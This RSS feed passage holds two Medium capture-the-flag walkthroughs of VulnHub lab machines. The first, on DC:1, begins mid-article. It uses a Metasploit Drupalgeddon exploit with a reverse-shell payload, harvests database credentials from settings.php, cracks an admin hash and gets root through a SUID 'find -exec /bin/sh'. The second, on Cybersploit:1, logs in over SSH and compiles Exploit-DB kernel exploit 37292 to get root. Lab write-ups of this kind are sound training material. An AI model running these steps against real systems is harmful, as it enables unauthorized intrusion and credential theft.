command:</p><pre>msfconsole</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*stf0r20BIWJkSaaVq_9G8A.png" /></figure><p>Once the framework was loaded, a search was performed for modules related to the identified vulnerability.</p><pre>search cve:CVE-2014-3704</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agD8FNMoy3FKB-zyt60scw.png" /></figure><p>The search returned the <strong>exploit/multi/http/drupal_drupageddon</strong> module, which targets the <strong>Drupalgeddon (CVE-2014-3704)</strong> SQL injection vulnerability affecting Drupal versions <strong>7.0–7.31</strong>. The module was ranked as <strong>Excellent</strong>, indicating a high level of reliability and a strong likelihood of successful exploitation under the appropriate conditions.</p><p>The identified exploit module was then selected for use in the next stage of the attack, where the necessary target parameters would be configured before attempting to gain a remote shell.</p><h4><strong>Configuring the Exploit</strong></h4><p>After identifying the appropriate Metasploit module, it was selected using its corresponding index:</p><pre>use 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*_8TJUgBjoehl_hw3Vj4Oxg.png" /></figure><p>After selecting the <strong>exploit/multi/http/drupal_drupageddon</strong> module, the available configuration options were reviewed to identify the parameters required for successful exploitation.</p><p>The module’s options can be displayed using the following command:</p><pre>options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hyj930Ik1HbYYSNhSnObzA.png" /></figure><p>The output showed that the <strong>RHOSTS</strong> parameter, which specifies the target IP address, was mandatory. By default, the module selected the <strong>php/meterpreter/reverse_tcp</strong> payload, which establishes a Meterpreter session upon successful exploitation.</p><p>The target IP address was then configured as follows:</p><pre>set RHOSTS 192.168.0.7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*F4rL8ovB7idBGvlidNoBsw.png" /></figure><p>With the required parameters configured, the exploit was executed using:</p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*IFINscFxvjZzbsBT9E7Wpg.png" /></figure><p>The exploit completed successfully, and Metasploit established a <strong>Meterpreter</strong> session with the target system, providing an initial foothold on the machine. This confirmed that the Drupal installation was vulnerable to <strong>CVE-2014–3704 (Drupalgeddon)</strong> and that remote code execution had been successfully achieved.</p><h3>Step 4: Post-Exploitation and Flag Discovery</h3><p>After successfully gaining a <strong>Meterpreter</strong> session, the next step was to explore the target’s filesystem to identify sensitive files and gather information that could assist with privilege escalation.</p><p>The contents of the web server’s document root were listed using:</p><pre>ls -la</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*BbW3qxgVTi46XlUKyHsniA.png" /></figure><p>The directory contained the Drupal installation files, including configuration files, application directories, and a file named <strong>flag1.txt</strong>, indicating the presence of the first challenge flag.</p><p>The contents of the file were displayed using:</p><pre>cat flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*HPSRPYpFZF4SgaPFiwbNaA.png" /></figure><p>The first flag contained the following message:</p><blockquote>“Every good CMS needs a config file — and so do you.”</blockquote><p>This hint suggested that the next objective was to locate and examine the Drupal configuration file, as it was likely to contain sensitive information such as database credentials that could be leveraged during the privilege escalation phase.</p><h3>Step 5: Searching for a Public Exploit</h3><h3>Investigating the Configuration Files</h3><p>The first flag hinted that the Drupal configuration file contained valuable information. Based on the standard Drupal directory structure, the <strong>sites/default</strong> directory was explored to locate the primary configuration file.</p><p>The following commands were used to navigate to the directory:</p><pre>cd sites<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*ak1cfwgiOIf7FfZJL2BDRA.png" /></figure><pre>cd default<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*Wa4IRNmyjXsy0FK6av2mOw.png" /></figure><p>Within the <strong>sites/default</strong> directory, the <strong>settings.php</strong> file was identified. This file is responsible for storing the application&#39;s configuration, including the database connection details.</p><p>The contents of the file were displayed using:</p><pre>cat settings.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*KSdFIwLoynINYscqMPo_3w.png" /></figure><p>The configuration file revealed the second challenge flag along with the database credentials used by the Drupal application.</p><blockquote><strong><em>Flag 2:</em></strong><em> </em>“Brute force and dictionary attacks aren’t the only ways to gain access. What can you do with these credentials?”</blockquote><p>In addition to the flag, the following database credentials were discovered:</p><ul><li><strong>Database:</strong> drupaldb</li><li><strong>Username:</strong> dbuser</li><li><strong>Password:</strong> R0ck3t</li><li><strong>Host:</strong> localhost</li></ul><p>The presence of these credentials suggested an alternative path for privilege escalation. Since password reuse is a common security weakness, the next step was to determine whether the recovered credentials could be used to authenticate to other services on the target system, such as SSH or by switching to another local user.</p><h3>Step 6: Accessing the Database</h3><p>Although the database credentials were recovered from the Drupal configuration file, interacting with the database required a fully interactive shell. The Meterpreter session was therefore upgraded to a standard Linux shell.</p><p>The following command was used to spawn a shell from the Meterpreter session:</p><pre>shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/1*w5cD-YLhUSsRoPFS2pMXog.png" /></figure><p>To improve usability, the shell was upgraded to a fully interactive TTY using Python:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*_sYkO3cqBB1IwmJbWp9Jnw.png" /></figure><p>With an interactive shell established, the recovered database credentials were used to authenticate to the MySQL server.</p><pre>mysql -u dbuser -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*t8QHYZjN2rcfKrSI8ZGcMQ.png" /></figure><p>When prompted, the password obtained from the <strong>settings.php</strong> file was entered:</p><pre>R0ck3t</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*UjsvUbp1f-7xGJhee1QToQ.png" /></figure><p>The authentication was successful, confirming that the recovered credentials were valid and providing access to the Drupal application’s database.</p><p>At this stage, access to the database opened up several opportunities for further enumeration, including examining user accounts, password hashes, and other application data that could potentially assist in escalating privileges or obtaining additional access to the target system.</p><h3>Step 7: Enumerating the Drupal Database</h3><p>After successfully authenticating to the MySQL server, the next step was to enumerate the available databases to identify the one used by the Drupal application.</p><p>The available databases were listed using:</p><pre>show databases;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*XA8UZmC0tOKg6SiUA466Sg.png" /></figure><p>The output confirmed the presence of the <strong>drupaldb</strong> database, which matched the database name discovered in the <strong>settings.php</strong> configuration file.</p><p>The database was selected using:</p><pre>use drupaldb;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*xV8hugkqnyYELipLBPaluw.png" /></figure><p>To gain an overview of its contents, all tables within the database were enumerated:</p><pre>show tables;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*iVt9JTTkCmtiAVcSM-SjHA.png" /></figure><p>The database contained numerous tables associated with the Drupal CMS, including the <strong>users</strong> table, which stores user account information and password hashes.</p><p>To inspect the stored user accounts, the following query was executed:</p><pre>select * from users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yQ4ZMLh5Q6BVvJw_fKANMw.png" /></figure><p>The query revealed three user entries, including the default administrative account and another user named <strong>Fred</strong>. Both accounts contained password hashes rather than plaintext passwords, demonstrating Drupal’s practice of storing credentials securely.</p><p>Although the hashes could be subjected to offline password-cracking attacks, the second challenge flag suggested exploring alternative approaches rather than relying solely on brute-force or dictionary attacks. The recovered database information would therefore serve as valuable intelligence for identifying another path toward privilege escalation.</p><h3>Cracking the Administrator Password</h3><p>The <strong>users</strong> table contained the password hash for the Drupal administrator account. Instead of attempting a traditional brute-force attack, the hash was submitted to an online hash-cracking service for identification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQIeh6dEPTU0ApCHZbHfLg.png" /></figure><p>The service successfully recovered the administrator’s password:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> 53cr3t</li></ul><p>With valid credentials now available, the next step was to authenticate to the Drupal administrative interface.</p><h3>Accessing the Drupal Administration Panel</h3><p>Using the recovered credentials, authentication to the Drupal web application was successful, granting administrative access to the CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*GFcb5J0VAvg2hIFY1hhVBw.png" /></figure><p>As an administrator, the application exposed several management features that were previously inaccessible, including content management, user administration, module configuration, and site settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gUyo2F8QzYWlhCkGggvgyw.png" /></figure><p>While enumerating the administrative interface, the <strong>Content</strong> section revealed an unpublished page named <strong>flag3</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6LK7JRvFDoDW6K_bM6SeA.png" /></figure><p>Opening the page displayed the third challenge flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*-nLOtqbAkj0z3ycFVcuk_g.png" /></figure><blockquote><strong><em>Flag 3:</em></strong><em> </em>“Special PERMS will help FIND the passwd — but you’ll need to -exec that command to work out how to get what’s in the shadow.”</blockquote><p>This message provided a clear hint toward the next phase of the assessment. It suggested that the path to privilege escalation would involve identifying files with <strong>special Linux permissions</strong>, particularly <strong>SUID binaries</strong>, and leveraging the <strong>find</strong> command with the <strong>-exec</strong> option to discover a method for accessing sensitive system files such as <strong>/etc/shadow</strong>.</p><p>The next stage of the assessment therefore focused on enumerating the target system for misconfigured SUID binaries that could be abused to obtain elevated privileges.</p><h3>Step 8: Discovering the Remaining Flags</h3><p>Following the hint provided in the third flag, the filesystem was further explored to gather additional information that could assist with privilege escalation.</p><p>The current working directory was verified before enumerating the root filesystem.</p><pre>pwd<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/176/1*WjKi8ejXYm9hgJsU61xtlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*axhI0BhtNTDz0lGoaOLQtw.png" /></figure><p>During the enumeration, the <strong>/home</strong> directory was inspected, revealing a directory named <strong>flag4</strong>.</p><p>The directory was accessed using:</p><pre>cd /home<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*5WnGAMfzADq7OrbAp6MiDA.png" /></figure><pre>cd flag4<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*Ira2VEM1UozZVMZvIKaOxg.png" /></figure><p>Among the user’s files, a file named <strong>flag4.txt</strong> was identified. Its contents were displayed using:</p><pre>cat flag4.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*1-XJuvQyTBbLCgPBZnqCow.png" /></figure><p>The fourth challenge flag contained the following message:</p><blockquote><strong><em>Flag 4:</em></strong><em> </em>“Can you use this same method to find or access the flag in root? Probably. But perhaps it’s not that easy. Or maybe it is?”</blockquote><p>This hint reinforced the direction provided by the previous flag, suggesting that the privilege escalation technique used to locate this flag could also be applied to access the final flag stored in the <strong>/root</strong> directory. The reference to &quot;the same method&quot; indicated that the intended solution involved abusing misconfigured file permissions or privileged binaries rather than exploiting another software vulnerability.</p><p>With all four flags recovered, the next objective was to enumerate the system for <strong>SUID-enabled binaries</strong> and identify a suitable privilege escalation vector that would provide root access and reveal the final flag.</p><h3>Step 9: Privilege Escalation</h3><p>The third and fourth flags hinted that the <strong>find</strong> command could be leveraged for privilege escalation. Based on this clue, the Meterpreter session was once again upgraded to an interactive Linux shell.</p><pre>shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/169/1*21-CTVIRA_GbrApcWe056A.png" /></figure><p>To improve shell functionality, a fully interactive TTY was spawned using Python:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*J-57XZbtvkvV6sHb7AZUbA.png" /></figure><p>Using the hint provided by the challenge, the following command was executed:</p><pre>find -exec /bin/sh \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*J-57XZbtvkvV6sHb7AZUbA.png" /></figure><p>The command successfully spawned a shell with <strong>root privileges</strong>, indicating that the <strong>find</strong> binary could be abused to execute arbitrary commands with elevated permissions. This misconfiguration provided a straightforward privilege escalation path to the root account.</p><p>With root access obtained, the <strong>/root</strong> directory was accessed:</p><pre>cd /root<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/141/1*JvfAf-9uR6IFLa89vKHXJw.png" /></figure><p>The directory contained the final challenge flag, <strong>thefinalflag.txt</strong>.</p><p>Its contents were displayed using:</p><pre>cat thefinalflag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*gMj1ew99c9ouGWplX6g-Dw.png" /></figure><p>The final flag confirmed the successful completion of the challenge:</p><blockquote><strong><em>“Well done!!!! Hopefully you’ve enjoyed this and learned some new skills.”</em></strong></blockquote><p>With the final flag retrieved, the <strong>DC:1</strong> machine was successfully compromised from initial access to full root privileges. Throughout the assessment, the machine demonstrated several fundamental penetration testing concepts, including network and web enumeration, vulnerability identification, exploitation of the <strong>Drupalgeddon (CVE-2014–3704)</strong> vulnerability, post-exploitation enumeration, credential discovery, CMS administration, and Linux privilege escalation using a misconfigured <strong>SUID</strong> binary. These techniques represent core skills commonly encountered during Capture The Flag (CTF) challenges and real-world penetration testing engagements.</p><h3>Conclusion</h3><p>The <strong>DC:1</strong> machine is an excellent beginner-friendly boot-to-root challenge that introduces several core concepts encountered in real-world penetration testing engagements. Throughout the assessment, the target was systematically compromised by following a structured methodology, beginning with network discovery and service enumeration, followed by vulnerability assessment, exploitation, post-exploitation, and finally privilege escalation.</p><p>The engagement began by identifying the target on the local network and enumerating its exposed services using <strong>Nmap</strong>. Further investigation revealed a vulnerable <strong>Drupal</strong> installation susceptible to <strong>CVE-2014–3704 (Drupalgeddon)</strong>, which was successfully exploited using the <strong>Metasploit Framework</strong> to gain an initial foothold on the system.</p><p>Once access was established, post-exploitation activities focused on enumerating the Drupal installation, recovering sensitive configuration files, extracting database credentials, and analyzing the application’s database. By leveraging recovered credentials and administrative access to the Drupal CMS, additional challenge flags and privilege escalation hints were uncovered. The assessment concluded by exploiting a misconfigured <strong>SUID-enabled </strong><strong>find binary</strong>, resulting in full <strong>root</strong> access and the successful retrieval of the final flag.</p><p>Overall, <strong>DC:1</strong> provides an excellent introduction to web application exploitation and Linux privilege escalation. It reinforces the importance of thorough enumeration, careful analysis of configuration files, effective use of publicly available exploits, and understanding Linux file permissions. These are fundamental skills that every aspiring penetration tester and cybersecurity professional should develop, making <strong>DC:1</strong> a highly recommended machine for beginners looking to build a strong foundation in ethical hacking and Capture The Flag (CTF) challenges.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ae8289c6d1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybersploit :1 vulnhub walkthrough | By Nidhin Dev D]]></title>
            <link>https://medium.com/@nidhindev362/cybersploit-1-vulnhub-walkthrough-by-nidhin-dev-d-262e9815fbc2?source=rss-14558bf2a795------2</link>
            <guid isPermaLink="false">https://medium.com/p/262e9815fbc2</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nidhindev]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 06:39:14 GMT</pubDate>
            <atom:updated>2026-07-11T06:39:14.346Z</atom:updated>
            <content:encoded><![CDATA[<h4>From Reconnaissance to Root: A Step-by-Step Penetration Testing Guide</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PPWKto29nPXZh7Qcm8DcEA.png" /></figure><h3>Introduction</h3><p><strong>Cybersploit:1</strong> is a vulnerable machine hosted on VulnHub that is designed to provide hands-on penetration testing experience. In this walkthrough, we’ll go through each step of the exploitation process, from initial reconnaissance to gaining access to the target system and retrieving the required flags.</p><h3>Step 1: Host Discovery</h3><p>The first step is to identify the IP address of the target machine on the network. We can do this using the netdiscover command, which scans the local network and displays the IP addresses of active devices</p><pre>sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*ZYUDza_s5uQd0r4-_qDjEg.png" /></figure><p>After running the scan, we identify the target machine’s IP address as <strong>192.168.0.2.</strong></p><h3>Step 2: Aggressive Network Scanning</h3><p>To gather detailed information about the target machine, we use <strong>Nmap</strong> in aggressive scan mode. This scan helps identify open ports, detect running services and their versions, determine the operating system, and run default scripts to collect additional information about the target.</p><pre>nmap -A 192.168.0.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*NqBGg9zsIXKp73dBziPPiw.png" /></figure><p>The scan reveals that only two ports are open on the target machine:</p><ul><li><strong>Port 22:</strong> SSH service</li><li><strong>Port 80:</strong> HTTP service</li></ul><p>These open ports provide potential entry points and will be the primary focus during the next stages of the assessment.</p><h3>Step 3: Web Application Enumeration</h3><p>Since port <strong>80</strong> is open, we begin our enumeration by exploring the web application hosted on the target machine. Navigating to the target’s IP address in a web browser displays a basic webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*NfCyhOMyxt8gxmFfieLFWg.png" /></figure><p>To discover hidden files and directories on the web server, we use <em>dirb</em> to perform directory enumeration.</p><pre>dirb http://192.168.0.2/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*1kcRLKc5FLvHipRzhIhu5w.png" /></figure><h3>Output:</h3><p>The <em>dirb</em> scan reveals several files and directories on the web server. Among the results, one file stands out: <strong>robots.txt</strong>.</p><h3>Investigation of robots.txt:</h3><p>The <strong>robots.txt</strong> file is typically used to tell search engine crawlers which pages or directories should not be indexed. However, it can sometimes reveal sensitive or interesting information that is useful during enumeration.</p><ol><li><strong>Access </strong><strong>robots.txt:</strong></li></ol><p>Open http://192.168.1.14/robots.txt in a web browser to examine its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*q6BG_oB274vFQsUlKZai5A.png" /></figure><p><strong>2. Content Analysis:</strong></p><p>The file contains a string that appears to be encoded using <strong>Base64</strong>.</p><p><strong>3. Decoding Base64:</strong></p><p>We decode the Base64-encoded string to reveal the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*ao8oWc4I_UtWxxSPe5beYw.png" /></figure><p>Decoding the Base64 string reveals the first flag:</p><p><strong>Flag 1:</strong> cybersploit{youtube.com/c/cybersploit}</p><h3>Step 4: SSH Access</h3><p>While examining the HTML source code of the web page, we discover an interesting clue hidden within the comments — a username.</p><h4>Username Discovery:</h4><ul><li><strong>SSH User:</strong> itsskv</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bO8tE0SfKE8gHMBGPyNlvQ.png" /></figure><p>Since the SSH service (port <strong>22</strong>) is open and we have discovered a valid username, we attempt to log in via SSH. Although we do not know the password, we try using the first flag as the password, as it could potentially serve as the login credential.</p><h4>SSH Login Attempt:</h4><pre>ssh itsskv@192.168.0.2</pre><blockquote><strong>Password: </strong><em>cybersploit{youtube.com/c/cybersploit}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*4Mhuzz7TDXL5s1vz0ymhdQ.png" /></figure><h4>Success:</h4><p>The SSH login is successful, giving us access to the target machine as the user <strong>itsskv</strong>.</p><h4>Post-Login Enumeration:</h4><p>After gaining access to the system, we start by listing the contents of the current directory using the ls command. Among the files, we find <strong>flag2.txt</strong>. We then use the cat command to read its contents and retrieve the second flag.</p><pre>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*UeCvAnt1U0EOBAnYpih2rg.png" /></figure><pre>cat flag2.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNk7Y-51SFoObwKt2ei-1A.png" /></figure><p>The contents of <strong>flag2.txt</strong> appear to be encoded. To reveal the original text, we decode it using a binary-to-text converter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*Y7nAyuV0xOSKR-BqzAVbrg.png" /></figure><blockquote><strong>flag2: cybersploit{https:t.me/cybersploit1}</strong></blockquote><h3>Step 5: Privilege Escalation</h3><p>Privilege escalation is the process of gaining higher-level permissions on a system, typically with the goal of obtaining root access. We begin by checking the target machine’s kernel version, as an outdated kernel may contain known vulnerabilities that can be exploited.</p><h4>Kernel Version Check:</h4><pre>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*zVplS9gpfBCcMzoFR9qP5g.png" /></figure><p>The output shows that the target machine is running an older version of the Linux kernel. Older kernel versions often contain known vulnerabilities, making them potential targets for privilege escalation exploits.</p><h4><strong>Researching Exploits:</strong></h4><p>Using the information obtained from the uname -a command, we search for publicly known exploits that affect the identified kernel version. A search on <strong>Exploit-DB</strong> returns several potential privilege escalation exploits that could be applicable to the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pUa6NcSLngZM0bO2uyYXHA.png" /></figure><p>From the available results, we select an exploit that matches the target’s kernel version. The chosen exploit is identified by the Exploit-DB ID <strong>37292</strong> (37292.c).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ySNsEtE_DUSgVicHgrsi7g.png" /></figure><h4>Exploit Execution:</h4><ol><li><strong>Copying the code:</strong></li></ol><p>Next, we copy the exploit source code so it can be compiled and executed on the target machine.</p><p>2. Making a file named exploit.c</p><p>Next, we create a new file named <strong>exploit.c</strong> using the nano text editor and paste the exploit source code into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*mwdWLk4wmYRnMtPw5Fb9JA.png" /></figure><p>3. Paste the copyed code into the file:</p><p>After creating the file, we paste the copied exploit source code into <strong>exploit.c</strong>, save the file, and exit the editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*xyPYQ3hGrRf4WTic9yaO5w.png" /></figure><p>To save the file, press <strong>Ctrl + X</strong>, then press <strong>Y</strong> to confirm the changes, and finally press <strong>Enter</strong> to save the file with the current name.</p><h4><strong>Compile the Exploit:</strong></h4><p>Since the exploit is written in <strong>C</strong>, we compile it on the target machine using the gcc compiler.</p><pre>gcc explo.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*zsLrLTYMiLOuQepUM-XA9g.png" /></figure><h4><strong>Run the Exploit:</strong></h4><p>After compiling the exploit successfully, we execute the generated binary to attempt privilege escalation.</p><pre>./a.out</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*gxtyecsoaVMzU3BBrgMhiA.png" /></figure><p>To verify whether the privilege escalation was successful, run the whoami command. If the exploit worked, the output should display <strong>root</strong>, confirming that we now have root-level access to the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*hzkt9reCSMGklw5fjZc52Q.png" /></figure><p>The exploit executes successfully and escalates our privileges to <strong>root</strong>, giving us full administrative access to the target machine.</p><h4><strong>Final Flag:</strong></h4><p>With root access, we navigate to the <strong>root</strong> directory and list its contents to locate the final flag.</p><pre>cd /root<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*3yG2LleixcC9h9pXFDMFPw.png" /></figure><p>Among the files in the directory, we find <strong>finalflag.txt</strong>. We use the cat command to display its contents and retrieve the final flag.</p><pre>cat finalflag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*l-ptCHyGRN72FpwqX8G4PA.png" /></figure><p>The contents of <strong>finalflag.txt</strong> reveal the final flag, successfully completing the machine.</p><h3>Conclusion</h3><p>This walkthrough demonstrated the complete exploitation of the <strong>Cybersploit:1</strong> machine on VulnHub. We began with network reconnaissance to identify open services, followed by web enumeration, where we discovered valuable clues that led to SSH access. After gaining an initial foothold, we performed privilege escalation by exploiting a known kernel vulnerability, ultimately obtaining root access and retrieving all the flags.</p><p>This machine highlights the importance of thorough enumeration, careful analysis of discovered information, and the effective use of publicly known vulnerabilities. It serves as a great example of how a systematic approach can lead to the successful compromise of a target system.</p><h3>Thank you for reading!!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=262e9815fbc2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>